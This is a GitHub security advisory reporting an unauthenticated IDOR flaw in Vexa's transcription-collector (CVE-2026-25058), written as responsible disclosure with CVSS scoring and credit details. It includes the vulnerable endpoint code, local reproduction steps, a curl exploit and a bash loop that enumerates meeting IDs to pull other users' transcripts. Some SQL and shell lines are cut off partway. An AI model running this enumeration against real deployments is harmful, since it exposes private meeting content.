Unauthenticated internal transcript endpoint exposed by default

High **DmitriyG228** published **GHSA-w73r-2449-qwgh** 5 days ago

Software

vexa

Affected versions

<= 0.10.0-260419-1140

Patched versions

0.10.0-260419-1910

Description

Security Report: IDOR Vulnerability in Vexa Transcription-Collector

1. Description

The Vexa transcription-collector service exposes an internal endpoint `GET /internal/transcripts/{meeting_id}` that returns transcript data for any meeting without **any authentication or authorization checks**.

An unauthenticated attacker can:

- Enumerate all meeting IDs (sequential integers: 1, 2, 3...)
- Access any user's meeting transcripts without credentials
- Steal confidential business conversations, passwords, PII

Vulnerable Code Location:
`services/transcription-collector/api/endpoints.py` (lines 448-469)

```
@router.get("/internal/transcripts/{meeting_id}",
            response_model=List[TranscriptionSegment],
            summary="[Internal] Get all transcript segments for a meeting",
            include_in_schema=False)
```

```python
async def get_transcript_internal(
    meeting_id: int,  # User-controlled, no auth check!
    request: Request,
    db: AsyncSession = Depends(get_db)
):
    meeting = await db.get(Meeting, meeting_id)  # No user_id verification!
    if not meeting:
        raise HTTPException(status_code=404, detail="Meeting not found")
    segments = await _get_full_transcript_segments(meeting_id, db, redis_c)
    return segments  # Returns ANY user's transcripts
```

Critical issues:

- ❌ No `Depends(get_current_user)` - no authentication
- ❌ No `Meeting.user_id == current_user.id` check - no authorization
- ❌ `include_in_schema=False` only hides from docs, doesn't restrict access
- ❌ Service exposed on port 8123 by default in `docker-compose.yml`

---

2. Reproduction Steps

1. Clone and start Vexa:

```
git clone https://github.com/Vexa-ai/vexa.git && cd vexa
cp env-example.cpu .env
git submodule update --init --recursive
docker compose -f docker-compose.yml -f docker-compose.local-db.yml build --parallel
docker compose -f docker-compose.yml -f docker-compose.local-db.yml up -d
```

2. Initialize database:

```
docker compose -f docker-compose.yml -f docker-compose.local-db.yml exec -T \
  transcription-collector python -c \
  "import asyncio; from shared_models.database import init_db; asyncio.run(init_db())"
```

3. Create two users (victim and attacker):

```
# Create Alice (victim)
curl -s -X POST "http://localhost:8057/admin/users" \
  -H "Content-Type: application/json" \
  -H "X-Admin-API-Key: token" \
  -d '{"email": "alice@company.com", "name": "Alice"}'

# Create Eve (attacker)
curl -s -X POST "http://localhost:8057/admin/users" \
  -H "Content-Type: application/json" \
```

```
  -H "X-Admin-API-Key: token" \
  -d '{"email": "eve@attacker.com", "name": "Eve"}'
```

4. Create confidential meeting data for Alice:

```
docker exec vexa_dev-postgres-1 psql -U postgres -d vexa -c "
-- Alice's confidential meeting
INSERT INTO meetings (user_id, platform, platform_specific_id, status, data, created_at,
VALUES (1, 'google_meet', 'alice-confidential', 'completed', '{}', NOW(), NOW());

-- Create session
INSERT INTO meeting_sessions (meeting_id, session_uid, session_start_time)
VALUES (1, 'alice-session-001', NOW());

-- Alice's CONFIDENTIAL transcripts
INSERT INTO transcriptions (meeting_id, start_time, end_time, text, speaker, language, c
VALUES
  (1, 0.0, 5.0, 'Our Q4 revenue was 50 million dollars.', 'Alice', 'en', NOW(), 'alice-s
  (1, 5.0, 10.0, 'The acquisition target is TechCorp for 100 million.', 'Bob', 'en', NOW
  (1, 10.0, 15.0, 'Password for financial system is SecretPass123.', 'Alice', 'en', NOW(
"
```

5. EXPLOIT - Access Alice's data WITHOUT ANY AUTHENTICATION:

```
# NO API KEY NEEDED - direct access to transcription-collector on port 8123
curl -s "http://localhost:8123/internal/transcripts/1" | jq .
```

6. Verify the attack succeeded:

Output shows Alice's confidential data:

```
[
  {
    "text": "Our Q4 revenue was 50 million dollars.",
    "speaker": "Alice"
  },
  {
    "text": "The acquisition target is TechCorp for 100 million.",
    "speaker": "Bob"
  },
  {
    "text": "Password for financial system is SecretPass123.",
    "speaker": "Alice"
  }
]
```

Enumerate All Meetings

```
# Attacker can enumerate all meeting IDs
for i in {1..100}; do
  curl -s "http://localhost:8123/internal/transcripts/$i" | jq -r '.[] | .text' 2>/dev/n
done
```

Compare with Protected Endpoint

The API gateway correctly requires authentication:

```
# Protected endpoint - returns "Missing API token"
curl -s "http://localhost:8056/transcripts/google_meet/alice-confidential"
# {"detail": "Missing API token"}

# Unprotected endpoint - returns full transcript data (NO AUTH!)
curl -s "http://localhost:8123/internal/transcripts/1"
# [{"text": "Our Q4 revenue was 50 million dollars.", ...}]
```

---

3. Impact

Complete Authentication Bypass: Any network attacker can access all users' meeting transcripts without any credentials.

Multi-Tenant Data Breach: In deployments with multiple users, any user's confidential meetings can be stolen by anyone.

Default Exposure: The transcription-collector service is exposed on port 8123 by default in the official docker-compose.yml.

CVSS v3.1 Assessment

Metric	Value	Rationale
Attack Vector	Network	Exploitable via HTTP request
Attack Complexity	Low	Simple GET request with ID enumeration
Privileges Required	**None**	**No authentication required**
User Interaction	None	No user action needed
Scope	Unchanged	Direct data access
Confidentiality	**High**	**Full access to all transcript data**
Integrity	None	Read-only access

Metric	Value	Rationale
Availability	None	No denial of service

Estimated CVSS Score: 7.5 (High)

Disclosure Policy

This vulnerability is being disclosed under the usual **60-day responsible disclosure policy**.

If a fix is not released and a CVE is not published by the deadline, I reserve the right to publish this report publicly to inform the community.

I am open to extending this timeline if significant progress is being made toward a fix.

Credit Request

In exchange for responsible disclosure, I request:

1. **CVE Credit** - I am listed as the reporter/discoverer in any CVE filing
2. **Acknowledgment** - My name is credited in:
   - The security advisory or release notes
   - The commit message or PR that fixes this issue

My details for CVE/credit:

- **Name:** Ariel Silver
- **GitHub:** SilverPlate3
- **Email:** arielsilver77@gmail.com

Severity

High 7.5 / 10

CVSS v3 base metrics

Attack vector	Network
Attack complexity	Low
Privileges required	None
User interaction	None
Scope	Unchanged
Confidentiality	High
Integrity	None

Availability	None

Learn more about base metrics

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

CVE ID

CVE-2026-25058

Weaknesses

- CWE-306
- CWE-862

Credits

SilverPlate3 Finder